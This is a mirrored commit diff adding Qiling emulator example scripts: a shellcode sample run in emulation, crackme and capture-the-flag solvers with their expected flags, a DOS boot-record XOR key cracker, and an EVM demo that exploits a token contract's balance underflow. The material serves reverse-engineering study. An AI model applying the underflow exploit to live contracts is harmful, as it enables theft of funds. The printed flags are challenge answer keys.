mirror of
https://github.com/qilingframework/qiling.git
synced 2026-10-12 02:21:40 +00:00
remove tab and replace with 4 space
This commit is contained in:
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from zipfile import ZipFile
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
if __name__ == "__main__":
|
||||
with ZipFile("shellcodes/win32_https_download.zip") as zip_reader:
|
||||
with zip_reader.open('win32_https_download.bin', 'r', b'infected') as f:
|
||||
sc = f.read()
|
||||
|
||||
ql = Qiling(code=sc, archtype="x86", ostype="windows", rootfs="rootfs/x86_windows", verbose=QL_VERBOSE.DEBUG)
|
||||
ql.run()
|
||||
@@ -0,0 +1,14 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = Qiling(["rootfs/x8664_windows/bin/x8664_hello.exe"], "rootfs/x8664_windows", verbose=QL_VERBOSE.DEFAULT, libcache=True)
|
||||
ql.run()
|
||||
@@ -0,0 +1,122 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
import string
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
from qiling.extensions import pipe
|
||||
|
||||
ROOTFS = r"rootfs/x86_linux"
|
||||
|
||||
class Solver:
|
||||
def __init__(self, invalid: bytes):
|
||||
# create a silent qiling instance
|
||||
self.ql = Qiling([rf"{ROOTFS}/bin/crackme_linux"], ROOTFS, verbose=QL_VERBOSE.OFF)
|
||||
|
||||
self.ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno()) # take over the input to the program using a fake stdin
|
||||
self.ql.os.stdout = pipe.NullOutStream(sys.stdout.fileno()) # disregard program output
|
||||
|
||||
# execute program until it reaches the 'main' function
|
||||
self.ql.run(end=0x0804851b)
|
||||
|
||||
# record replay starting and ending points.
|
||||
#
|
||||
# since the emulation halted upon entering 'main', its return address is there on
|
||||
# the stack. we use it to limit the emulation till function returns
|
||||
self.replay_starts = self.ql.arch.regs.arch_pc
|
||||
self.replay_ends = self.ql.stack_read(0)
|
||||
|
||||
# instead of restarting the whole program every time a new flag character is guessed,
|
||||
# we will restore its state to the latest point possible, fast-forwarding a good
|
||||
# amount of start-up code that is not affected by the input.
|
||||
#
|
||||
# here we save the state just when 'main' is about to be called so we could use it
|
||||
# to jumpstart the initialization part and get to 'main' immediately
|
||||
self.jumpstart = self.ql.save() or {}
|
||||
|
||||
# calibrate the replay instruction count by running the code with an invalid input
|
||||
# first. the instruction count returned from the calibration process will be then
|
||||
# used as a baseline for consequent replays
|
||||
self.best_icount = self.__run(invalid)
|
||||
|
||||
def __run(self, input: bytes) -> int:
|
||||
icount = [0]
|
||||
|
||||
def __count_instructions(ql: Qiling, address: int, size: int):
|
||||
icount[0] += 1
|
||||
|
||||
# set a hook to fire up every time an instruction is about to execute
|
||||
hobj = self.ql.hook_code(__count_instructions)
|
||||
|
||||
# feed stdin with input
|
||||
self.ql.os.stdin.write(input + b'\n')
|
||||
|
||||
# resume emulation till function returns
|
||||
self.ql.run(begin=self.replay_starts, end=self.replay_ends)
|
||||
|
||||
hobj.remove()
|
||||
|
||||
return icount[0]
|
||||
|
||||
def replay(self, input: bytes) -> bool:
|
||||
"""Restore state and replay with a new input.
|
||||
|
||||
Returns an indication to execution progress: `True` if a progress
|
||||
was made, `False` otherwise
|
||||
"""
|
||||
|
||||
# restore program's state back to the starting point
|
||||
self.ql.restore(self.jumpstart)
|
||||
|
||||
# resume emulation and count emulated instructions
|
||||
curr_icount = self.__run(input)
|
||||
|
||||
# the larger part of the input is correct, the more instructions are expected to be executed. this is true
|
||||
# for traditional loop-based validations like strcmp or memcmp which bails as soon as a mismatch is found:
|
||||
# more correct characters mean more loop iterations - thus more executed instructions.
|
||||
#
|
||||
# if we got a higher instruction count, it means we made a progress in the right direction
|
||||
if curr_icount > self.best_icount:
|
||||
self.best_icount = curr_icount
|
||||
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def progress(msg: str) -> None:
|
||||
print(msg, end='\r', file=sys.stderr, flush=True)
|
||||
|
||||
def main():
|
||||
flag = bytearray(b'*****')
|
||||
indices = (1, 4, 2, 0, 3)
|
||||
|
||||
# all possible flag characters (may be reduced to uppercase and digits to save time)
|
||||
charset = string.printable
|
||||
|
||||
progress('Initializing...')
|
||||
solver = Solver(flag)
|
||||
|
||||
for i in indices:
|
||||
for ch in charset:
|
||||
flag[i] = ord(ch)
|
||||
|
||||
progress(f'Guessing... {flag.decode()}')
|
||||
|
||||
if solver.replay(flag):
|
||||
break
|
||||
|
||||
else:
|
||||
raise RuntimeError('no match found')
|
||||
|
||||
print(f'\nFlag found!')
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
# expected flag: L1NUX
|
||||
@@ -0,0 +1,120 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.const import QL_VERBOSE
|
||||
from qiling.extensions import pipe
|
||||
|
||||
ROOTFS = r"rootfs/x86_windows"
|
||||
|
||||
class Solver:
|
||||
def __init__(self, invalid: bytes):
|
||||
# create a silent qiling instance
|
||||
self.ql = Qiling([rf"{ROOTFS}/bin/crackme.exe"], ROOTFS, verbose=QL_VERBOSE.DISABLED)
|
||||
|
||||
self.ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno()) # take over the input to the program using a fake stdin
|
||||
self.ql.os.stdout = pipe.NullOutStream(sys.stdout.fileno()) # disregard program output
|
||||
|
||||
# execute program until it reaches the part that asks for input
|
||||
self.ql.run(end=0x401030)
|
||||
|
||||
# record replay starting and ending points.
|
||||
#
|
||||
# since the emulation halted upon entering a function, its return address is there on
|
||||
# the stack. we use it to limit the emulation till function returns
|
||||
self.replay_starts = self.ql.arch.regs.arch_pc
|
||||
self.replay_ends = self.ql.stack_read(0)
|
||||
|
||||
# instead of restarting the whole program every time a new flag character is guessed,
|
||||
# we will restore its state to the latest point possible, fast-forwarding a good
|
||||
# amount of start-up code that is not affected by the input.
|
||||
#
|
||||
# here we save the state just when the read input function is about to be called so we
|
||||
# could use it to jumpstart the initialization part and get to the read input immediately
|
||||
self.jumpstart = self.ql.save() or {}
|
||||
|
||||
# calibrate the replay instruction count by running the code with an invalid input
|
||||
# first. the instruction count returned from the calibration process will be then
|
||||
# used as a baseline for consequent replays
|
||||
self.best_icount = self.__run(invalid)
|
||||
|
||||
def __run(self, input: bytes) -> int:
|
||||
icount = [0]
|
||||
|
||||
def __count_instructions(ql: Qiling, address: int, size: int):
|
||||
icount[0] += 1
|
||||
|
||||
# set a hook to fire up every time an instruction is about to execute
|
||||
hobj = self.ql.hook_code(__count_instructions)
|
||||
|
||||
# feed stdin with input
|
||||
self.ql.os.stdin.write(input + b'\n')
|
||||
|
||||
# resume emulation till function returns
|
||||
self.ql.run(begin=self.replay_starts, end=self.replay_ends)
|
||||
|
||||
hobj.remove()
|
||||
|
||||
return icount[0]
|
||||
|
||||
def replay(self, input: bytes) -> bool:
|
||||
"""Restore state and replay with a new input.
|
||||
|
||||
Returns an indication to execution progress: `True` if a progress
|
||||
was made, `False` otherwise
|
||||
"""
|
||||
|
||||
# restore program's state back to the starting point
|
||||
self.ql.restore(self.jumpstart)
|
||||
|
||||
# resume emulation and count emulated instructions
|
||||
curr_icount = self.__run(input)
|
||||
|
||||
# the larger part of the input is correct, the more instructions are expected to be executed. this is true
|
||||
# for traditional loop-based validations like strcmp or memcmp which bails as soon as a mismatch is found:
|
||||
# more correct characters mean more loop iterations - thus more executed instructions.
|
||||
#
|
||||
# if we got a higher instruction count, it means we made a progress in the right direction
|
||||
if curr_icount > self.best_icount:
|
||||
self.best_icount = curr_icount
|
||||
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def progress(msg: str) -> None:
|
||||
print(msg, end='\r', file=sys.stderr, flush=True)
|
||||
|
||||
def main():
|
||||
flag = bytearray(b'BJWXB_CTF{********-****-****-****-************}')
|
||||
indices = (i for i, ch in enumerate(flag) if ch == ord('*'))
|
||||
|
||||
# uppercase hex digits
|
||||
charset = '0123456789ABCDEF'
|
||||
|
||||
progress('Initializing...')
|
||||
solver = Solver(flag)
|
||||
|
||||
for i in indices:
|
||||
for ch in charset:
|
||||
flag[i] = ord(ch)
|
||||
|
||||
progress(f'Guessing... {flag.decode()}')
|
||||
|
||||
if solver.replay(flag):
|
||||
break
|
||||
|
||||
else:
|
||||
raise RuntimeError('no match found')
|
||||
|
||||
print(f'\nFlag found!')
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
# expected flag: BJWXB_CTF{C5307D46-E70E-4038-B6F9-8C3F698B7C53}
|
||||
@@ -0,0 +1,71 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
from qiling.extensions import pipe
|
||||
from qiling.const import QL_INTERCEPT, QL_VERBOSE
|
||||
from qiling.os.windows.api import HWND, UINT, LONG
|
||||
|
||||
def hook_DialogBoxParamA_onexit(ql: Qiling, address: int, params, retval: int):
|
||||
# extract lpDialogFunc value
|
||||
# [see arguments list at 'qiling/os/windows/dlls/user32.py' -> 'hook_DialogBoxParamA']
|
||||
lpDialogFunc = params['lpDialogFunc']
|
||||
|
||||
def call_DialogFunc(ql: Qiling):
|
||||
# we would like to resume from the exact same address that used to invoke
|
||||
# this hook. in order to prevent an endless loop of hook invocations, we
|
||||
# remove the hook through its handle.
|
||||
hh.remove()
|
||||
|
||||
WM_COMMAND = 0x111
|
||||
IDS_APPNAME = 1001
|
||||
|
||||
# [steps #3 and #4]
|
||||
# set up the arguments and call the address passed through the lpDialogFunc
|
||||
# param. make sure it resumes back to where we were.
|
||||
ql.os.fcall.call_native(lpDialogFunc, (
|
||||
(HWND, 0),
|
||||
(UINT, WM_COMMAND),
|
||||
(UINT, IDS_APPNAME),
|
||||
(LONG, 0),
|
||||
), ql.arch.regs.arch_pc)
|
||||
|
||||
# get DialogBoxParamA return address; should be the first item on the stack
|
||||
retaddr = ql.arch.stack_read(0)
|
||||
|
||||
# we would like to call DialogFunc as soon as DialogBoxParamA returns, so we
|
||||
# hook its return address. once it returns, 'call_DialogFunc' will be invoked.
|
||||
hh = ql.hook_address(call_DialogFunc, retaddr)
|
||||
|
||||
def our_sandbox(path: str, rootfs: str):
|
||||
ql = Qiling([path], rootfs, verbose=QL_VERBOSE.DEFAULT)
|
||||
|
||||
# this crackme's logic lies within the function passed to DialogBoxParamA through
|
||||
# the lpDialogFunc parameter. normally DialogBoxParamA would call the function
|
||||
# passed through that parameter, but Qiling's implementation for it doesn't do
|
||||
# that.
|
||||
#
|
||||
# to solve this crackme and force the "success" dialog to show, we will:
|
||||
# 1. set up a mock stdin and feed it with the correct flag
|
||||
# 1. hook DialogBoxParamA to see where its lpDialogFunc param points to
|
||||
# 2. set up a valid set of arguments DialogFunc expects to see
|
||||
# 3. call it and see it greets us with a "success" message
|
||||
|
||||
# [step #1]
|
||||
# set up a mock stdin and feed it with mocked keystrokes
|
||||
ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno())
|
||||
ql.os.stdin.write(b'Ea5yR3versing\n')
|
||||
|
||||
# [step #2]
|
||||
# intercept DialogBoxParamA on exit
|
||||
ql.os.set_api('DialogBoxParamA', hook_DialogBoxParamA_onexit, QL_INTERCEPT.EXIT)
|
||||
|
||||
ql.run()
|
||||
|
||||
if __name__ == "__main__":
|
||||
our_sandbox(r"rootfs/x86_windows/bin/Easy_CrackMe.exe", r"rootfs/x86_windows")
|
||||
@@ -0,0 +1,45 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
|
||||
def force_call_dialog_func(ql: Qiling):
|
||||
# this hook is invoked after returning from DialogBoxParamA, so its
|
||||
# stack frame content is still available to us.
|
||||
|
||||
# get DialogFunc address
|
||||
lpDialogFunc = ql.stack_read(-8)
|
||||
|
||||
# setup stack for DialogFunc
|
||||
ql.stack_push(0)
|
||||
ql.stack_push(1001)
|
||||
ql.stack_push(273)
|
||||
ql.stack_push(0)
|
||||
ql.stack_push(0x0401018)
|
||||
|
||||
# force EIP to DialogFunc
|
||||
ql.arch.regs.eip = lpDialogFunc
|
||||
|
||||
def my_sandbox(path, rootfs):
|
||||
ql = Qiling(path, rootfs)
|
||||
|
||||
# patch the input validation code: overwrite all its breaking points
|
||||
# denoted with "jne 0x401135", so it would keep going even if there
|
||||
# is an error
|
||||
ql.patch(0x004010B5, b'\x90\x90')
|
||||
ql.patch(0x004010CD, b'\x90\x90')
|
||||
ql.patch(0x0040110B, b'\x90\x90')
|
||||
ql.patch(0x00401112, b'\x90\x90')
|
||||
|
||||
# hook the instruction after returning from DialogBoxParamA
|
||||
ql.hook_address(force_call_dialog_func, 0x00401016)
|
||||
|
||||
ql.run()
|
||||
|
||||
if __name__ == "__main__":
|
||||
my_sandbox(["rootfs/x86_windows/bin/Easy_CrackMe.exe"], "rootfs/x86_windows")
|
||||
@@ -0,0 +1,38 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
sys.path.append("..")
|
||||
|
||||
from qiling import Qiling
|
||||
|
||||
def force_call_dialog_func(ql: Qiling):
|
||||
# this hook is invoked after returning from DialogBoxParamA, so its
|
||||
# stack frame content is still available to us.
|
||||
|
||||
# get DialogFunc address
|
||||
lpDialogFunc = ql.stack_read(-8)
|
||||
|
||||
# setup stack for DialogFunc
|
||||
ql.stack_push(0)
|
||||
ql.stack_push(1001)
|
||||
ql.stack_push(273)
|
||||
ql.stack_push(0)
|
||||
ql.stack_push(0x0401018)
|
||||
|
||||
# force EIP to DialogFunc
|
||||
ql.arch.regs.eip = lpDialogFunc
|
||||
|
||||
def our_sandbox(path, rootfs):
|
||||
ql = Qiling(path, rootfs)
|
||||
|
||||
# hook the instruction after returning from DialogBoxParamA
|
||||
ql.hook_address(force_call_dialog_func, 0x00401016)
|
||||
|
||||
ql.run()
|
||||
|
||||
if __name__ == "__main__":
|
||||
# Flag is : Ea5yR3versing
|
||||
our_sandbox(["rootfs/x86_windows/bin/Easy_CrackMe.exe"], "rootfs/x86_windows")
|
||||
@@ -0,0 +1,210 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys, curses, math, struct, string, time
|
||||
sys.path.append("..")
|
||||
from qiling import *
|
||||
from qiling.const import *
|
||||
from qiling.os.disk import QlDisk
|
||||
from qiling.os.dos.utils import BIN2BCD
|
||||
from struct import pack
|
||||
|
||||
|
||||
# https://stackoverflow.com/questions/9829578/fast-way-of-counting-non-zero-bits-in-positive-integer
|
||||
def CountBits(n):
|
||||
n = (n & 0x5555555555555555) + ((n & 0xAAAAAAAAAAAAAAAA) >> 1)
|
||||
n = (n & 0x3333333333333333) + ((n & 0xCCCCCCCCCCCCCCCC) >> 2)
|
||||
n = (n & 0x0F0F0F0F0F0F0F0F) + ((n & 0xF0F0F0F0F0F0F0F0) >> 4)
|
||||
n = (n & 0x00FF00FF00FF00FF) + ((n & 0xFF00FF00FF00FF00) >> 8)
|
||||
n = (n & 0x0000FFFF0000FFFF) + ((n & 0xFFFF0000FFFF0000) >> 16)
|
||||
n = (n & 0x00000000FFFFFFFF) + ((n & 0xFFFFFFFF00000000) >> 32) # This last & isn't strictly necessary.
|
||||
return n
|
||||
|
||||
def ham(lhs: int, rhs: int):
|
||||
return CountBits(lhs^rhs)
|
||||
|
||||
def calavghd(bs: bytes, sz: int):
|
||||
groups = len(bs) // sz
|
||||
hdsum = 0
|
||||
seqs = [ bs[i*sz:(i+1)*sz] for i in range(groups)]
|
||||
for i in range(groups-1):
|
||||
seq1 = seqs[i]
|
||||
seq2 = seqs[(i+1)%groups]
|
||||
lc = 0
|
||||
for j in range(sz):
|
||||
lc += ham(seq1[j], seq2[j])
|
||||
hdsum += ham(seq1[j], seq2[j])
|
||||
return hdsum / groups, hdsum / groups / sz
|
||||
|
||||
def calavghdall(bs: bytes, maxsz: int):
|
||||
r = []
|
||||
for i in range(1, maxsz):
|
||||
r.append((i, *calavghd(bs, i)))
|
||||
r.sort(key=lambda x: x[2])
|
||||
return r
|
||||
|
||||
# Implmentation for https://trustedsignal.blogspot.com/2015/06/xord-play-normalized-hamming-distance.html
|
||||
def guess_key_size(orig: bytes, maxsz=20):
|
||||
avghd = calavghdall(orig, maxsz)
|
||||
gcd12 = math.gcd(avghd[0][0], avghd[1][0])
|
||||
gcd13 = math.gcd(avghd[0][0], avghd[2][0])
|
||||
gcd23 = math.gcd(avghd[1][0], avghd[2][0])
|
||||
if gcd12 != 1:
|
||||
if gcd12 == gcd13 and gcd12 == gcd23:
|
||||
if gcd12 in [t[0] for t in avghd[:5]]:
|
||||
if gcd12 == avghd[0][0] or gcd12 == avghd[0][1]:
|
||||
return gcd12
|
||||
return avghd[0][0]
|
||||
|
||||
def is_all_printable(bs: bytes):
|
||||
for b in bs:
|
||||
if chr(b) not in string.printable:
|
||||
return False
|
||||
return True
|
||||
|
||||
def countchar(bs: bytes):
|
||||
d = {}
|
||||
for ch in bs:
|
||||
if ch not in d:
|
||||
d[ch] = 0
|
||||
d[ch] += 1
|
||||
r = [(chr(k), v) for k, v in d.items()]
|
||||
r.sort(key=lambda x: x[1], reverse=True)
|
||||
return r
|
||||
|
||||
def cal_count_for_seqs(seqs: dict):
|
||||
seqs_keys={}
|
||||
for seq in seqs:
|
||||
seqs_keys[seq] = {}
|
||||
for ch in range(0x20, 0x7E+1):
|
||||
xored = bytes([b^ch for b in seq])
|
||||
if not is_all_printable(xored):
|
||||
continue
|
||||
count = countchar(xored)
|
||||
seqs_keys[seq][ch] = count
|
||||
return seqs_keys
|
||||
|
||||
def search_possible_key(seqs: dict, seqs_keys: dict, max_occur=3):
|
||||
keys = set()
|
||||
cached = {}
|
||||
def _impl(seq_idx: bytes, repeated: int, key: str):
|
||||
if seq_idx == len(seqs):
|
||||
keys.add(key)
|
||||
return
|
||||
if repeated not in cached[seq_idx]:
|
||||
return
|
||||
for ch in cached[seq_idx][repeated]:
|
||||
_impl(seq_idx + 1, repeated, key + bytes([ch]))
|
||||
return
|
||||
for idx, seq in enumerate(seqs):
|
||||
cached[idx] = {}
|
||||
for ch, count in seqs_keys[seq].items():
|
||||
for tp in count[:max_occur]:
|
||||
if ord(tp[0]) not in cached[idx]:
|
||||
cached[idx][ord(tp[0])] = []
|
||||
cached[idx][ord(tp[0])].append(ch)
|
||||
for i in range(0x20, 0x7E+1):
|
||||
_impl(0, i, b"")
|
||||
return keys
|
||||
|
||||
def echo_key(ql: Qiling, key):
|
||||
# Note: In most cases, users are not supposed to use `ql.os.stdscr`
|
||||
# directly. The hack here is to show the corresponding key.
|
||||
stdscr = ql.os.stdscr
|
||||
y, _ = stdscr.getmaxyx()
|
||||
stdscr.addstr(y-2, 0, f"Current key: {key}")
|
||||
stdscr.refresh()
|
||||
|
||||
def show_once(ql: Qiling, key):
|
||||
klen = len(key)
|
||||
ql.arch.regs.ax = klen
|
||||
ql.mem.write(0x87F4, key)
|
||||
# Partial exectution to skip input reading
|
||||
ql.run(begin=0x801B, end=0x803d)
|
||||
echo_key(ql, key)
|
||||
time.sleep(1)
|
||||
|
||||
# In this stage, we show every key.
|
||||
def third_stage(keys):
|
||||
# To setup terminal again, we have to restart the whole program.
|
||||
ql = Qiling(["rootfs/8086/doogie/doogie.DOS_MBR"],
|
||||
"rootfs/8086",
|
||||
console=False)
|
||||
ql.add_fs_mapper(0x80, QlDisk("rootfs/8086/doogie/doogie.DOS_MBR", 0x80))
|
||||
ql.os.set_api((0x1a, 4), set_required_datetime, QL_INTERCEPT.EXIT)
|
||||
hk = ql.hook_code(stop, begin=0x8018, end=0x8018)
|
||||
ql.run()
|
||||
ql.hook_del(hk)
|
||||
# Snapshot API.
|
||||
ctx = ql.save()
|
||||
for key in keys:
|
||||
show_once(ql, key)
|
||||
ql.restore(ctx)
|
||||
|
||||
|
||||
# In this stage, we crack the encrypted buffer.
|
||||
def second_stage(ql: Qiling):
|
||||
data = bytes(read_until_zero(ql, 0x8809))
|
||||
key_size = guess_key_size(data) # Should be 17
|
||||
seqs = []
|
||||
for i in range(key_size):
|
||||
seq = b""
|
||||
j = i
|
||||
while j < len(data):
|
||||
seq += bytes([data[j]])
|
||||
j += key_size
|
||||
seqs.append(seq)
|
||||
seqs_keys = cal_count_for_seqs(seqs)
|
||||
keys = search_possible_key(seqs, seqs_keys)
|
||||
return keys
|
||||
|
||||
|
||||
def read_until_zero(ql: Qiling, addr):
|
||||
buf = b""
|
||||
ch = -1
|
||||
while ch != 0:
|
||||
ch = ql.mem.read(addr, 1)[0]
|
||||
buf += pack("B", ch)
|
||||
addr += 1
|
||||
return buf
|
||||
|
||||
def set_required_datetime(ql: Qiling):
|
||||
ql.log.info("Setting Feburary 06, 1990")
|
||||
ql.arch.regs.ch = BIN2BCD(19)
|
||||
ql.arch.regs.cl = BIN2BCD(1990%100)
|
||||
ql.arch.regs.dh = BIN2BCD(2)
|
||||
ql.arch.regs.dl = BIN2BCD(6)
|
||||
|
||||
def stop(ql, addr, data):
|
||||
ql.emu_stop()
|
||||
|
||||
# In this stage, we get the encrypted data which xored with the specific date.
|
||||
def first_stage():
|
||||
ql = Qiling(["rootfs/8086/doogie/doogie.DOS_MBR"],
|
||||
"rootfs/8086",
|
||||
console=False)
|
||||
ql.add_fs_mapper(0x80, QlDisk("rootfs/8086/doogie/doogie.DOS_MBR", 0x80))
|
||||
# Doogie suggests that the datetime should be 1990-02-06.
|
||||
ql.os.set_api((0x1a, 4), set_required_datetime, QL_INTERCEPT.EXIT)
|
||||
# A workaround to stop the program.
|
||||
hk = ql.hook_code(stop, begin=0x8018, end=0x8018)
|
||||
ql.run()
|
||||
ql.hook_del(hk)
|
||||
return ql
|
||||
|
||||
if __name__ == "__main__":
|
||||
ql = first_stage()
|
||||
# resume terminal
|
||||
curses.endwin()
|
||||
keys = second_stage(ql)
|
||||
for key in keys:
|
||||
print(f"Possible key: {key}")
|
||||
# The key of this challenge is not unique. The real
|
||||
# result depends on the last ascii art.
|
||||
print("Going to try every key.")
|
||||
time.sleep(3)
|
||||
third_stage(keys)
|
||||
# resume terminal
|
||||
curses.endwin()
|
||||
@@ -0,0 +1,52 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
# https://etherscan.io/tx/0x9243d45ca81db4f16a0ded3e57982b4bc95ec32ce69d541bf6e019d949cbc6c8
|
||||
# https://www.anquanke.com/post/id/145520
|
||||
|
||||
import sys
|
||||
|
||||
sys.path.append("../..")
|
||||
from qiling import *
|
||||
|
||||
|
||||
def example_run_evm():
|
||||
contract = '0x606060405266017dfcdece4000600055341561001a57600080fd5b600160a060020a033316600090815260016020526040902066017dfcdece400090556106eb8061004b6000396000f3006060604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018957806323b872dd146101ae57806327edf097146101d6578063313ce567146101ff578063378dc3dc1461021257806342966c681461022557806370a082311461023b578063771282f61461025a57806395d89b411461026d578063a9059cbb14610280578063dd62ed3e146102a2575b600080fd5b34156100d457600080fd5b6100dc6102c7565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610118578082015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015e57600080fd5b610175600160a060020a03600435166024356102fe565b604051901515815260200160405180910390f35b341561019457600080fd5b61019c6103a4565b60405190815260200160405180910390f35b34156101b957600080fd5b610175600160a060020a03600435811690602435166044356103aa565b34156101e157600080fd5b6101e9610422565b60405160ff909116815260200160405180910390f35b341561020a57600080fd5b6101e9610427565b341561021d57600080fd5b61019c61042c565b341561023057600080fd5b610175600435610437565b341561024657600080fd5b61019c600160a060020a03600435166104ea565b341561026557600080fd5b61019c6104fc565b341561027857600080fd5b6100dc610502565b341561028b57600080fd5b610175600160a060020a0360043516602435610539565b34156102ad57600080fd5b61019c600160a060020a036004358116906024351661054f565b60408051908101604052600781527f48657861676f6e00000000000000000000000000000000000000000000000000602082015281565b60008115806103305750600160a060020a03338116600090815260026020908152604080832093871683529290522054155b151561033b57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005490565b600160a060020a03808416600090815260026020908152604080832033909416835292905290812054829010156103e057600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052208054839003905561041884848461056c565b5060019392505050565b600281565b600481565b66017dfcdece400081565b600160a060020a0333166000908152600160205260408120548290101561045d57600080fd5b600160a060020a033316600081815260016020526040808220805486900390558180527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb4980548601905581548590039091557fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a2506001919050565b60016020526000908152604090205481565b60005481565b60408051908101604052600381527f4858470000000000000000000000000000000000000000000000000000000000602082015281565b600061054633848461056c565b50600192915050565b600260209081526000928352604080842090915290825290205481565b600160a060020a038216151561058157600080fd5b600160a060020a038316600090815260016020526040902054600282019010156105aa57600080fd5b600160a060020a038216600090815260016020526040902054818101116105d057600080fd5b600160a060020a03808416600081815260016020526040808220805460011990879003810190915593861682528082208054860190558180527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb4980546002908101909155825490940190915590917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5915160ff909116815260200160405180910390a281600160a060020a031683600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a35050505600a165627a7a72305820fbef5b10322242b8659b5de8e24ec1cf5e809831f6f7c08e52112f76daa31aef0029'
|
||||
ql = Qiling(code=contract, archtype="evm")
|
||||
|
||||
user1 = ql.arch.evm.create_account(balance=100*10**18)
|
||||
user2 = ql.arch.evm.create_account(balance=100*10**18)
|
||||
c1 = ql.arch.evm.create_account()
|
||||
|
||||
def check_balance(sender, destination):
|
||||
call_data = '0x70a08231'+ql.arch.evm.abi.convert(['address'], [sender])
|
||||
msg2 = ql.arch.evm.create_message(sender, destination, data=call_data)
|
||||
return ql.run(code=msg2)
|
||||
|
||||
# Deploy runtime code
|
||||
msg0 = ql.arch.evm.create_message(user1, b'', code=contract, contract_address=c1)
|
||||
ql.run(code=msg0)
|
||||
|
||||
# # SMART CONTRACT DEPENDENT: check balance of user1
|
||||
result = check_balance(user1, c1)
|
||||
print('User1 balance =', int(result.output.hex()[2:], 16))
|
||||
|
||||
# # SMART CONTRACT DEPENDENT: transform from user1 to user2
|
||||
call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \
|
||||
ql.arch.evm.abi.convert(['uint256'], [0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe])
|
||||
msg1 = ql.arch.evm.create_message(user1, c1, data=call_data)
|
||||
result = ql.run(code=msg1)
|
||||
if int(result.output.hex()[2:], 16) == 1:
|
||||
print('User1 transfered Token to User1')
|
||||
|
||||
# # SMART CONTRACT DEPENDENT: User1 balance underflow, MAX - 1
|
||||
result = check_balance(user1, c1)
|
||||
print('User1 final balance =', int(result.output.hex()[2:], 16))
|
||||
|
||||
result = check_balance(user2, c1)
|
||||
print('User2 final balance =', int(result.output.hex()[2:], 16))
|
||||
|
||||
if __name__ == "__main__":
|
||||
example_run_evm()
|
||||
@@ -0,0 +1,25 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
|
||||
#
|
||||
|
||||
import sys
|
||||
|
||||
sys.path.append("../..")
|
||||
from qiling import *
|
||||
|
||||
if __name__ == '__main__':
|
||||
